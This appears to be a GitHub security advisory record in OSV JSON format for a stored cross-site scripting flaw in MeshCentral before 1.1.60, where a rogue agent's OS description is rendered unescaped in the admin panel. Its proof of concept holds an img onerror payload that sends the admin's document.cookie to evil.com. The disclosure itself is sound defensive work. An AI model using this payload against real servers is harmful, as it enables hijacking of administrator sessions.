{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "meshcentral"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.60"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:09:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == \u0027string\u0027). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() \u2192 QH() which sets innerHTML, executing the payload in the admin\u0027s browser session. The main management UI CSP includes \u0027unsafe-inline\u0027 (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == \u0027string\u0027) { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : \u0027\u0027)\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent\u2192DB\u2192UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"\u003cimg src=x onerror=\u0027fetch(\\\"https://evil.com/steal?\\\"+document.cookie)\u0027\u003e\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n\u003cimg width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" /\u003e",
  "id": "GHSA-c7hr-448w-65px",
  "modified": "2026-08-18T20:09:35Z",
  "published": "2026-08-18T20:09:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Ylianst/MeshCentral"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Ylianst/MeshCentral/releases/tag/1.1.60"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MeshCentral has unsanitized data fields"
}